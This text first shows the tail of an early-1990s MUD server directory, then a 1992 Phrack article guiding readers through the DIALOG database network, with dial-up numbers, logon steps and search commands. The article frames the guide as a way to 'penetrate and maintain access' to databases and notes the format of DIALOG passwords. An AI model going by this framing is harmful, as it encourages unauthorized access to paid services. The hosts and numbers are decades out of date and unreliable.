Kobra duteca4.et.tudelft.nl 130.161.144.22 8888 up LPSwat aviator.cc.iastate.edu 129.186.140.6 2020 up Marches of chema.ucsd.edu 132.239.68.1 3000 up Antan

Middle‑Earth oba.dcs.gla.ac.uk 130.209.240.66 3000 up 38 Muddog Mud phaedrus.math.ufl.edu 128.227.168.2 2000 up Mystic ohm.gmu.edu 129.174.1.33 4000 up NANVAENT saddle.ccsun.strath.ac. 130.159.208.54 3000 up 24 uk

Nameless complex.is 130.208.165.231 2000 up Nanny lysator.liu.se 130.236.254.1 2000 up

NeXT ???? 152.13.1.5 2000 up

Nemesis dszenger9.informatik. 131.159.8.67 2000 up tu‑muenchen.de

*Nightfall nova.tat.physik. 134.2.62.161 4242 up uni‑tuebingen.de

Nightmare orlith.bates.edu 134.181.1.12 2666 R Nirvana 4 elof.iit.edu 192.41.245.90 3500 up Nuage fifi.univ‑lyon1.fr 134.214.100.21 2000 R *Overdrive im1.lcs.mit.edu 18.52.0.151 5195 up PaderMUD athene.uni‑paderborn.de 131.234.2.32 4242 up PixieMud elof.iit.edu 192.41.245.90 6969 up QUOVADIS disun29.epfl.ch 128.178.79.77 2345 up Realmsmud hammerhead.cs.indiana. 129.79.251.8 2000 up edu

Ringworld ???? 130.199.96.45 3469 R* 34

Round Table engr71.scu.edu 129.210.16.71 2222 up Sky Realms maxheadroom.agps.lanl. 192.12.184.10 2000 R* gov

SmileyMud elof.iit.edu 192.41.245.90 5150 up StickMUD palikka.jyu.fi 130.234.0.3 7680 up SvenskMUD lysator.liu.se 130.236.254.1 2043 up 39 *The Mud dogstar.colorado.edu 128.138.248.32 5555 up Institute

Top Mud lonestar.utsa.edu 129.115.120.1 2001 up Tsunami II gonzo.cc.wwu.edu 140.160.240.20 2777 R* 20 TubMUD morgen.cs.tu‑berlin.de 130.149.19.20 7680 up Valhalla wiretap.spies.com 130.43.3.3 2444 up Valkyrie Prime fozzie.cc.wwu.edu 140.160.240.21 2777 up VikingMUD swix.ifi.unit.no 129.241.163.51 2001 up Vincent's aviator.cc.iastate.edu 129.186.140.6 1991 up 31 Hollow

World of Mizar delial.docs.uu.se 130.238.8.40 9000 R

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

mage (1)

Name Address Numeric Address Port Status Notes

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

SynthMAGE synth.erc.clarkson.edu 128.153.28.35 4242 TO

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

MOOs (1)

Name Address Numeric Address Port Status Notes

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Lambda MOO lambda.parc.xerox.com 13.2.116.36 8888 up

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

TinyMUCKs (12)

Name Address Numeric Address Port Status Notes

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

AfterFive pa.itd.com 128.160.2.249 9999 up 31 Burning Metal amber.ecst.csuchico.edu 132.241.1.43 8088 up Crossroads coyote.cs.wmich.edu 141.218.40.40 5823 R* FurryMUCK highlandpark.rest.ri.cmu 128.2.254.5 2323 up 8 edu

High Seas opus.calstatela.edu 130.182.111.1 4301 up Lawries MUD cserve.cs.adfa.oz.au 131.236.20.1 4201 R 7 PythonMUCK zeus.calpoly.edu 129.65.16.21 4201 up 18 QWest glia.biostr.washington. 128.95.10.115 9999 up edu

Quartz Paradise quartz.rutgers.edu 128.6.60.6 9999 up 40 Time Traveller betz.biostr.washington. 128.95.10.119 4096 up edu

TinyMUD Classic winner.itd.com 128.160.2.248 2000 R 41 II

Visions l_cae05.icaen.uiowa.edu 128.255.21.25 2001 R 16

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

MUGs (1)

Name Address Numeric Address Port Status Notes

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

UglyMUG ???? 130.88.14.17 4201 up

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

TinyMUSEs (5)

Name Address Numeric Address Port Status Notes

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Fantasia betz.biostr.washington. 128.95.10.119 4201 up 13 edu

FantasyMuse case2.cs.usu.edu 129.123.7.19 1701 up 42 MicroMUSE chezmoto.ai.mit.edu 18.43.0.102 4201 up 6 Rhostshyl stealth.cit.cornell.edu 128.253.180.15 4201 up 42 TrekMUSE ecsgate.uncecs.edu 128.109.201.1 1701 R 42

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

TinyMUSHes (15)

Name Address Numeric Address Port Status Notes

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Dungeon ra.info.sunyit.edu 149.15.1.3 8888 up Global MUSH workstation5.colby.edu 137.146.64.237 4201 up ImageCastle wizard.etsu.edu 192.43.199.19 4201 up Narnia nimitz.mit.edu 18.80.0.161 2555 R* PernMUSH milo.mit.edu 18.70.0.216 4201 up 42 SouthCon utpapa.ph.utexas.edu 128.83.131.52 4201 up 42 Spellbound thumper.cc.utexas.edu 128.83.135.23 4201 up SqueaMUSH ultimo.socs.uts.edu.au 138.25.8.7 6699 R** StingMUSH newview.etsu.edu 192.43.199.33 1701 up 42 TinyCWRU caisr2.caisr.cwru.edu 129.22.24.22 4201 R* TinyHORNS louie.cc.utexas.edu 128.83.135.4 4201 up TinyTIM II cheetah.ece.clarkson. 128.153.13.54 5440 up edu

VisionMUSH tramp.cc.utexas.edu 128.83.135.26 4567 TO

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

TeenyMUDs (3)

Name Address Numeric Address Port Status Notes

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ApexMUD apex.yorku.ca 130.63.7.6 4201 up Evil!MUD fido.econ.arizona.edu 128.196.196.1 4201 up MetroMUT uokmax.ecn.uoknor.edu 129.15.20.2 5000 R

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

TinyMUDs (2)

Name Address Numeric Address Port Status Notes

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

DragonMUD ghost.cse.nau.edu 134.114.64.6 4201 up 14 TinyWORLD rillonia.ssc.gov 143.202.16.13 6250 up

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

UnterMUDs (9)

Name Address Numeric Address Port Status Notes

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ChrisMUD hawkwind.utcs.utoronto. 128.100.102.51 6600 up 10 ca

DECmud decuac.dec.com 192.5.214.1 6565 up 15 DreamScape moebius.math.okstate. 139.78.10.3 6250 up 11 edu

Islandia hawkwind.utcs.utoronto. 128.100.102.51 2323 up ca

RealWorld cook.brunel.ac.uk 134.83.128.246 4201 up 17 Sludge unix1.cc.ysu.edu 192.55.234.50 6565 up 19 Sunmark moebius.math.okstate. 139.78.10.3 6543 up edu

WanderLand sun.ca 192.75.19.1 6666 up 9 WireHED amber.ecst.csuchico.edu 132.241.1.43 6565 up 12

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

YAMUDs (1)

Name Address Numeric Address Port Status Notes

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

GooLand toby.cis.uoguelph.ca 131.104.48.112 6715 up

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Notes

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Asterisk (*) before the name indicates that this sites entry was modified in the last 7 days.

Status field:

* = last successful connection was more than 7 days ago

** = last successful connection was more than 30 days ago

# = no successful connection on record

R = connection refused

TO = connection timed out

HD = host down or unreachable

ND = network down or unreachable

NA = insufficient address information available

1. administrator is warlock@ecst.csuchico.edu

2. administrator is jt1o@andrew.cmu.edu

3. administrator is gamesmgr@taurus.tat.physik.uni‑tuebingen.de 4. administrator is jds@math.okstate.edu

5. administrator is mjr@decuac.dec.com

6. send mail to micromuse‑registration@michael.ai.mit.edu to register 7. send mail to Lawrie.Brown@adfa.oz.au to register

8. send mail to ss7m@andrew.cmu.edu to register

9. send mail to wanderland@lilith.ebay.sun.com to register

10. send mail to cks@hawkwind.utcs.toronto.edu to register

11. send mail to jds@math.okstate.edu to register

12. send mail to warlock@ecst.csuchico.edu to register

13. send mail to fantasia@betz.biostr.washington.edu to register 14. send mail to {jjt,jopsy}@naucse.cse.nau.edu to register

15. send mail to mjr@decuac.dec.com to register

16. send mail to schlake@minos.nmt.edu to register

17. send mail to ee89psw@brunel.ac.uk to register

18. send mail to {awozniak,claudius}@zeus.calpoly.edu to register 19. send mail to mud@cc.ysu.edu to register

20. hours are 0000‑1600(M) 0100‑1700(TWRF) 0100‑2400(S) 0000‑2400(U) GMT 21. hours are 1700‑0800(MTWRF) 0000‑2400(SU) CST

22. hours are 1900‑0600(MTWRF) 0000‑2400(SU) PDT

23. hours are 1900‑0700(MTWRF) 0000‑2400(SU)

24. hours are 1700‑0900(MTWRF) 0000‑2400(SU) GMT

25. hours are 1700‑0700(MTWRF) 0000‑2400(SU) PST

26. hours are 2100‑0900(MTWRF) 0000‑2400(SU)

27. hours are 1630‑0800(MTWRF) 0000‑2400(SU) CST

28. hours are 2000‑0800(MTWRF) 0000‑2400(S) 0000‑1200,1700‑2400(U) PST 29. hours are 1800‑0800(MTWRF) 0000‑2400(SU) CET

30. hours are 1700‑0700(MTWRF) 0000‑2400(SU) PST

31. hours are 1700‑0800(MTWRF) 0000‑2400(SU) CST

32. hours are 2000‑0800(MTWRF) 0000‑2400(SU) CET

33. hours are 1700‑0800(MTWRF) 0000‑2400(SU) MST

34. down until further notice

35. closed for repairs

36. the original LP; closed to public

37. closed to public

38. closed to players

39. Swedish‑language mud

40. no pennies

41. mail agri@pa.itd.com to recover old characters

42. restricted theme

DIALOG Information Network

==Phrack Inc.==

Volume Four, Issue Thirty‑Nine, File 5 of 13

**************************************

*

* The Complete Guide To * * The DIALOG Information Network *

*

* by *

* Brian Oblivion *

*

* Courtesy of: Restricted‑Data‑Transmissions (RDT) * * "Truth Is Cheap, But Information Costs." *

*

* 5/9/92 *

**************************************

INTRODUCTION:

With the plethora of on‑line databases in the public and private sectors, I feel it is becoming increasingly important to penetrate and maintain access to these databases. The databases in question contain data pertaining to our personal lives and to our environment, not to mention the tetrabytes of useful information that can be directed toward research and personal education.

Who or What is DIALOG?

The DIALOG Information Network is a service that links various public and commercial databases together for convenience. In the past, when one wanted to access LEGAL RESOURCE INDEX, for instance, one would have to dial direct. With DIALOG, hundreds of databases are connected via X.25 networks (Tymnet, Sprintnet, Uninet, Dialnet) eliminating frustrating searching and outrageous long distance telephone bills (before the AT&T divestiture).

Further, within this file is a PARTIAL list of databases found on‑line. Some of the databases are nothing more than periodicals and abstract sources, while others provide FullText articles and books. There are over 2500 periodicals, newspapers, newsletters and newswires on‑line in FullText.

Here are a few of my favorites:

McGraw‑Hill Publications On‑Line (File624)

‑ Services offer FullText of their Newsletters serving the world‑wide aerospace and defense industry. Complete text from 30 newsletters such as AeroSpace Daily, BYTE, Aviation Week and Space Technology, Data Communications, ENR, among others. For more info on the database, when in DIALOG type Help News624.

PR NEWSWIRE (File613)

‑ PR Newswire records contain the complete text of news releases prepared by: companies; public relations agencies; trade associations; city, state, federal and non‑US Government agencies; and other sources covering the entire spectrum of news. The complete text of a news release typically contains details or background information that is not published in newspapers. More than 8500 companies contribute news for PR Newswire. PR NEWSWIRE is a known agent of Corporate Intelligence.

DMS/FI MARKET INTELLIGENCE REPORTS (File589)

‑ FullText of World AeroSpace Weekly, covers all aspects of both civil and military aerospace activities worldwide.

‑ World Weapons Review, very high degree of technical detail and perspective. As such, it has special appeal to military professionals and users of weapons.

Note: The database treats the newsletters as separate Binders. For example, to access the World Weapons Review, after connecting to the database, type:

SELECT BN=WORLD WEAPONS REVIEW

or whichever newsletter you wish to search.

FINE CHEMICALS DATABASE (File360)

‑ The focus of this database is on sources for laboratory, specialty, and unusual chemicals used in scientific research and new product development. Fine chemicals are relatively pure chemicals typically produced in small quantities. The database will provide you with manufacturers and/or distributors.

DUN'S ELECTRONIC YELLOW PAGES (File515)

‑ Largest database of U.S. businesses available on DIALOG, providing information on a total of 8.5 million establishments. Corporate intelligence: you can quickly verify the existence of a business. Then you can obtain address, telephone number, employee size, Standard Industrial Classification (SIC) and other basic information.

CURRENT CONTENTS SEARCH (File440)

‑ FullText articles from over 8000+ worldwide journals dealing with science and technology.

BOOKS IN PRINT (File470)

‑ Access to in‑print and out‑of‑print books since 1979, BIP lets you retrieve bibliographic data on virtually every book published or distributed in the United States. Plus FullText reviews on the book(s) you have selected. See next.

PUBLISHERS DISTRIBUTORS AND WHOLESALERS ON‑LINE (File450)

‑ PDW on‑line will locate virtually any book, audio cassette, software publisher, distributor, or wholesaler in the U.S.

You now should have an idea of the power and scope of the Dialog Information Network.

NOTE: Most of DIALOG's Services are now available to certain Research facilities, public and private, on CD‑ROM. Check your local public and university libraries for this service. Of course, MANY of the more interesting databases are not available on CD‑ROM and must still be accessed through the DIALOG network.

Access to DIALOG Services

The following on‑line services are available from DIALOG Information Services:

DIALOG

DIALOG Business (DBC)

DIALOG Medical Connection (DMC) DIALMAIL

KNOWLEDGE INDEX

The logon procedures for the first four are identical and use the same service address; procedures for KNOWLEDGE INDEX differ only in the use of the KI service address, as illustrated throughout this file.

The most common method of access to DIALOG services uses local phone numbers for three telecommunication networks: DIALOG's DIALNET, BT Tymnet, TYMNET, and SprintNet. For those who live in an area that lacks a local dialup for those three networks, you may use the 800 link into the DIALNET for access to all DIALOG services except KNOWLEDGE INDEX. This access is not free, but it may cost less than dialing long‑distance to reach a network node if you live in a region without local access. Access is also available through gateways from other on‑line systems.

Access to many DIALOG services is available from countries throughout the world and may be accessed from their own Public Data Networks.

Dialnet 800‑Number Access

The two DIALNET 800 numbers are available for connecting to Dialog services from anywhere in the 48 contiguous states. Access through these numbers is not free.

(800)DIALNET 300, 1200, and 2400 b. (w/MNP error checking) (800)342‑5638

(800)847‑1620 VADIC 3400 series modems (1200 baud) BELL 103 modems (300 baud) BELL 212 modems (1200 baud)

Note: I have excluded all the dialup numbers for Tymnet and Sprintnet. If you don't know how to find those, obtain a file on X.25 nets and I'm sure they will be listed somewhere in them.

DIALNET U.S. DIALUP NUMBERS

(All DIALNET dialup numbers support 300, 1200, and 2400 baud)

ARIZONA

Phoenix....................................(602)257‑8895

CALIFORNIA

Alhambra...................................(818)300‑9000

Longbeach..................................(213)491‑0803

Los Angeles................................(818)300‑9000

Marina Del Rey.............................(213)305‑9833

Newport Beach..............................(714)756‑1969

Oakland....................................(415)633‑7900

Palo Alto..................................(415)858‑2461

Palo Alto..................................(415)858‑2461

Palo Alto....................................(415)858‑2575

Sacramento.................................(916)444‑5030

San Diego..................................(619)297‑8610

San Francisco..............................(415)957‑5910

San Jose...................................(408)432‑0590

COLORADO

Denver.....................................(303)860‑9800

CONNECTICUT Bloomfield/Hartford........................(203)242‑5954

Stamford...................................(203)324‑1201

DELAWARE

Wilmington.................................(302)652‑1706

DISTRICT OF COLUMBIA

Washington.................................(703)359‑2500

GEORGIA

Atlanta....................................(404)455‑4221

ILLINOIS

Chicago....................................(312)341‑1444

INDIANA

Indianapolis...............................(317)635‑7259

MARYLAND

Baltimore..................................(301)234‑0940

MASSACHUSETTS

Boston.....................................(617)439‑7920

Lexington..................................(617)862‑6240

MICHIGAN

Ann Arbor..................................(313)973‑2622

Detroit....................................(313)964‑1309

MINNESOTA

Minneapolis................................(612)338‑0676

MISSOURI

St. Louis..................................(314)731‑0122

NEW JERSEY

Lyndhurst..................................(201)460‑8868

Morristown.................................(201)292‑9646

Newark.....................................(201)824‑1412

Piscataway.................................(201)562‑9680

Princeton..................................(609)243‑9550

NEW MEXICO

Albuquerque................................(505)764‑9281

NEW YORK

Albany.....................................(518)458‑8710

Buffalo....................................(716)896‑9440

Hempstead..................................(516)489‑6868

New York City..............................(212)422‑0410

Rochester..................................(716)458‑7300

White Plains...............................(914)328‑7810

NORTH CAROLINA

Research Triangle..........................(919)549‑9290

OHIO

Cincinnati.................................(513)489‑3980

Cleveland..................................(216)621‑3807

Columbus...................................(614)461‑8348

Dayton.....................................(513)898‑8878

OREGON

Portland...................................(503)228‑2771

PENNSYLVANIA

Allentown..................................(215)776‑2030

Philadelphia...............................(215)923‑5214

Pittsburg..................................(412)471‑1421

Valley Forge/Norristown....................(215)666‑1500

TEXAS

Austin.....................................(512)462‑9494

Dallas.....................................(214)631‑9861

Houston....................................(713)531‑0505

UTAH

Salt Lake City.............................(801)532‑3071

VIRGINIA

Fairfax....................................(703)359‑2500

WASHINGTON

Seattle....................................(206)282‑5009

WISCONSIN

Milwaukee..................................(414)796‑1785

Access to Dialog Outside of the US

Foreign readers may access Dialog via the INFONET PDN. The following numbers are for those particular users.

BELGIUM

Brussels (300).............................(02)648‑0710

Brussels (1200)............................(02)640‑4993

DENMARK

Copenhagen (300)...........................(01)22‑10‑66 Copenhagen (1200)..........................(01)22‑41‑22 Logging in to DIALOG or KNOWLEDGE INDEX (KI)

After dialing the appropriate number and establishing the connection, you must allow a 10‑second delay and then enter the letter A (or a carriage return or another terminal identifier from the table below) before any further response will occur. Then, follow the remainder of the procedures show below.

DIALOG Information Services' DIALNET

‑2151:01‑012‑

Enter Service: dialog Enter DIALOG or KI;

DIALNET: call connected

DIALOG INFORMATION SERVICES

PLEASE LOGON:

?XXXXXXXX Enter User Number

ENTER PASSWORD:

?XXXXXXXX Enter Password;

NOTE: I have researched the method of user number and password distribution and all user numbers and passwords are generated by Dialog, BUT upon receiving a password from DIALOG you may opt to change it. The passwords issued from DIALOG are 8 digits long, consisting of random alpha‑numeric characters.

Once you are connected to your default service or file in DIALOG, you can then BEGIN one of the other services; for example, to access DIALMAIL, BEGIN MAIL.

DIALNET Terminal Identifiers

Speed Identifier Terminal Type Effect

=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

300 bps ENTER key PCs & CRTs Same as A E Thermal Printers Slower C Impact Printers Slowest G Belt Printer Slower

1200 bps ENTER key PCs & CRTs Same as A or G Matrix Printers Slower 2400 bps I Belt Printers Slowest

‑ For access in half duplex, enter a < CTRL H > after the "Enter Service:" prompt and before entering the word "dialog" or "ki."

‑ Don't hit backspace if you make an error in typing "dialog" or "ki." The result will be toggling your duplex, reason being your backspace is usually configured to send a < CTRL H > to delete to the left of the cursor one space.

DIALNET Messages

Message Probable Cause User Action

ERROR, RE‑ENTER SERVICE Incorrect host name Check typing

ALL PORTS BUSY All DIALOG ports Try in a few min. are temporarily in use.

HOST DOWN DIALOG computer is Try in a few min. not available.

HOST NOT RESPONDING DIALOG Computer Try in a few min. difficulty

CIRCUITS BUSY DIALNET Network is Try in a few min. temporarily busy.

DIALNET: CALL CLEARED Appears after LOGOFF

BY REQUEST to indicate connection

ENTER SERVICE: to DIALOG is broken.

DROPPED BY HOST SYSTEM Indicates a system failure at DIALOG.

Navigating in DIALOG

To begin a search, one would enter:

BEGIN xxxx

xxxx would be the database file number. All databases found on DIALOG are assigned file numbers. The searching protocol used to manipulate DIALOG seems at times to be a language in itself, but it can be easily learned and mastered.

DIALOG HOMEBASE

I would advise the first‑timer to jump into the DIALOG Homebase Menu, which provides information, help, file of the month, database info and rates, the DIALINDEX, DIALOG Training, and announcements. DIALOG also provides subscribers with special services which include dialouts for certain area codes. You can begin the DIALOG HOMBASE by typing:

BEGIN HOME

=‑**************************************

DIALOG DATABASES

File Number Database

15 ABI/INFORM

180 Academic American Encyclopedia

43 ADTRACT

108 Aerospace Database

10,110 AGRICOLA

9 AIM/ARM

38 America:History & Life

236 American Men & Women of Science

258,259 AP NEWS

45 APTIC

112 Aquaculture

116 Aqualine

44 Aquatic Science & Fisheries ABS

56 Art Bibliographies, Modern

192 Arthur D. Little On‑Line

102 ASI

285 BIOBUSINESS

287,288 Biography Master Index

5, 55

255 BIOSIS Previews

175 BLS Consumer Price Index

178 BLS Employment, Hours, and Earnings

176 BLS Producer Price Index

137 Book Review Index

470 Books In Print

256 Business Software Database

308‑311

320 CA Search

50 CAB Abstracts

262 Canadian Business and Current Affairs

162 Career Placement Registry/ Experienced Personnel 163 Career Placement Reg/Student

580 CENDATA

138 Chemical Exposure

19 Chemical Industry Notes

174 Chem Regulations & Guidelines

300,301 CHEMNAME, CHEMSIS

328‑331 CHEMZERO

30 CHEMSEARCH

64 Chile Abuse & Neglect

410 Chronolog Newsletter‑International Edition

101 Compuserve Information Service

220‑222 CLAIMS Citation

124 CLAIMS Class

242 CLAIMS Compound Registry

23‑25,125

223‑225 CLAIMS US Patents

123 CLAIMS Reassignment & Re‑examination

219 Clinical Abstracts

164 Coffeeline

194‑195 Commerce Business Daily

593 Compare Products

8 Compendex

275 The Computer Database

77 Conference Papers Index

135 Congressional Record Abstracts

271 Consumer Drug Info Fulltext

171 Criminal Justice Period Index

60 CRIS/USDA

230 DATABASE OF DATABASES

516 D&B ‑ Dun's Market Identifiers

517 D&B ‑ Million Dollar Directory

518 D&B ‑ International Dun's Market Identifiers

411 DIALINDEX

200 DIALOG PUBLICATIONS

100 Disclosure II

540 Disclosure Spectrum Ownership

35 Dissertation Abstracts On‑Line

103,104 DOE Energy

575 Donnelley Demographics

229 Drug Information Fulltext

139 Economic Literature Index

165 Ei Engineering Meetings

241 Electric Power Database

511 Electronic Dictionary of Education

507 Construction Directory

501 Financial Services Directory

510 Manufactures Directory

502 Professionals Directory

504‑506 Retailers Directory

508,509 Services Directory

503 Wholesalers Directory

500 Electronic Yellow Pages Index

72, 73 EMBASE (Excerpta Medica)

172,173 EMBASE

114 Encyclopedia of Associations

69 Energyline

169 Energynet

40 ENVIROLINE

68 Environmental Bibliography

1 eric

54 Exceptional Child Education Resources

291 Family Resources

20 Federal Index

136 Federal Register Abstracts

265 Federal Research in Progress

196 Find/SVP Reports and studies Index

268 FINIS: Financial Industry Information Service 96 Fluidex

51 Food Science & Technology Abstracts

79 Foods Adlibra

90 Foreign Trade & Econ Abstracts

105 Foreign Traders Index

26 Foundation Directory

27 Foundation Grants Index

58 Geoarchive

89 Georef

66 GPO Monthly Catalog

166 GPO Publications Reference File

85 Grants

122 Harvard Business Review

151 Health Planning And Administration

39 Historical Abstracts

561 ICC British Company Directory

562 ICC British Financial Datasheets

189 Industry Data Sources

202 Information Science Abstracts

12, 13 INSPEC

168 Insurance Abstracts

209 International Listing Service

74 International Pharmaceutical Abstracts

545 Investext

284 IRS TAXiNFO

14 ISMEC

244 LABORLAW

36 Language & Language Behavior Abstracts

426‑427 LC MARC

150 Legal Resource Index

76 Life Sciences Collection

61 LISA

647 Magazine ASAP

47 Magazine Index

75 Management Contents

234 Marquis Who's Who

235 Marquis Pro‑files

239 Mathfile

546 Media General Database

152‑154 MEDLINE

86 Mental Health Abstracts

232 Menu The International Software Database

32 METADEX

29 Meteor/Geoastrophysical Abstracts

233 Microcomputer Index

32 MERADEX

29 Meteor/Geoastrophysical Abstracts

233 Microcomputer Index

248 The Middle East: Abstracts and Index

249 Mideast File

71 MLA Bibliography

555 Moody's Corporate Profiles

557 Moody's Corporate News‑International

556 Moody's Corporate News ‑ U.S.

78 National Foundations

111 National Newspaper News ‑ U.S.

21 NCJRS

211 Newsearch

46 NICEM

70 NICSEM/NIMIS

118 Nonferrous Metals Abstracts

6 NTIS

218 Nursing & Allied Health

161 Occupational Safety and Health

28 Oceanic Abstracts

170 ON‑LINE Chronicle

215 ONTAP ABI/INFORM

205 ONTAP BIOSIS Previews

204 ONTAP CA SEARCH

250 ONTAP CAB Abstracts

231 ONTAP Chemname

208 ONTAP Compendex

290 ONTAP DIALINDEX

201 ONTAP ERIC

272 ONTAP Embase

213 ONTAP Inspec

247 ONTAP Magazine Index

254 ONTAP Medline

216 ONTAP PTS Promt

294 ONTAP Scisearch

207 ONTAP Social Scisearch

296 ONTAP Trademarkscan

280 ONTAP World Patents Index

49 PAIS International

240 Paperchem

243 PATLAW

257 P/E News

241 Peterson's College Database

42 Pharmaceutical News Index

57 Philosopher's Index

41 Pollution Abstracts

91 Population Bibliography

140 PsycALERT

11 PsycINFO

17 PTS Annual Reports Abstracts

80 PTS Defense Markets and Technology

18 PTS F&S Indexes 80‑

98 PTS F&S Indexes 72‑79

81, 83 PTS Forecasts

570 PTS MARS

16 PTS PROMPT

82, 84 PTS TIME SERIES

190 Religion Index

421‑425 TEMARC

97 Rilm Abstracts

34, 87 SciSearch

94, 186 SciSearch

7 Social Scisearch

270 Soviet Science and Technology

37 Sociological Abstracts

62 SPIN

65 SSIE Current Research

132 Standard & Poor's News

133 Standard & Poor's Corporate Descriptions

526 Standard & Poor's Register‑Biographical

527 Standard & Poor's Register‑Corporate

113 Standards & Specifications

238 Telgen

119 Textile Technology Digest

535 Thomas Tegister On‑Line

648 Trade & Industry ASAP

148 Trade & Industry Index

106,107 Trade Opportunities

226 Trademarkscan

531 Trinet Establishment Database

532 Trinet Company Database

63 TRIS

52 TSCA Initial Inventory

480 Ulrich's International Periodicals Directory

260,261 UPI NEWS

126 U.S. Exports

93 U.S. Political Science Documents

120 U.S. Public School Directory

184 Washington Post Index

117 Water Resources Abstracts

350,351 World Patents Index

67 World Textiles

185 Zoological Record

Before I continue describing the various methods of searching, DIALOG has an on‑line master index to the DIALOG databases, DIALINDEX (file 411). It is a collection of the file indexes of most DIALOG databases (menu‑driven databases cannot be searched in DIALINDEX). DIALINDEX can be used to determine the number of relevant records for a single query in a collection of files. The query can be a single term, a multiple‑word phrase, a prefix‑coded field, or a full logical expression of up to 240 characters. Nested terminology, proximity operators, and truncated terms may also be used.

You can set the files you want searched by using the SET FILE command. Like this:

BEGIN 411 (return)

SET FILE ALLNEWS (if you want the latest news on or hack/phreak busts) SF ALLNEWS

To scan all Subjects: SET FILES ALL

To scan specific categories:

All Science: (ALLSCIENCE)

‑ Agriculture & Nutrition

‑ Chemistry

‑ Computer Technology

‑ Energy & Environment

‑ Medicine & Biosciences

‑ Patents & Trademarks

‑ Science & technology

All Business: (ALLBUSINESS)

‑ Business Information

‑ Company Information

‑ Industry Analysis

‑ News

‑ Patents & Trademarks

All News and Current Events: (ALLNEWS)

‑ News

All Law & Government: (ALLLAW;ALLGOVERNMENT)

‑ Law & Government

‑ Patents & Trademarks

All Social Science & Humanities: (ALLSOCIAL;ALLHUMANITIES)

‑ Social Sciences & Humanities

All General Interest: (ALLGENERAL)

‑ Popular Information

All Reference: (ALLREFERENCE)

‑ Books

‑ Reference

All Text: (ALLTEXT)

All databases containing

complete text of:

‑ Journal Articles

‑ Encyclopedias

‑ Newspapers

‑ Newswires

All Sources: (ALLSOURCE)

‑ Complete Text

‑ Directory

‑ Numeric Data

All ONTAP Training Files: (ALLONTAPS)

‑ All On‑Line Training And

Practice databases

Once you have selected a database you can now SELECT the search keyword. You set the flag by:

SELECT term ‑ Retrieves a set of records containing the term. May be used with words, prefix or suffix codes, EXPAND, or set numbers.

When defining what you are searching for you can use logical operators such as:

OR ‑ puts the retrieval of all search terms into one set, eliminating duplicate records.

AND ‑ retrieves the intersection, or overlap, of the search terms: all terms must be in each record retrieved.

NOT ‑ eliminates search term (or group of search terms) following it from other search term(s).

Note: Always enter a space on either side of a logical operator.

SELECT Examples:

SELECT (BICMOS OR CMOS) AND SRAM

or

S (BICMOS OR CMOS) AND SRAM

‑ This would generate something like this:

138 BICMOS <‑ records containing BICMOS only 1378 CMOS <‑ records containing CMOS only 681 SRAM <‑ records containing SRAM only

S1 203 (BICMOS OR CMOS) AND SRAM <‑ this is what you

^^ wanted.

|| DIALOG names your select topic S1, S2... respectively as search its databases to make it easier to type. The contents of S1 are 203 found records containing the keywords BICMOS, CMOS, and SRAM. Sometimes S1 is referred to as S(tep) 1
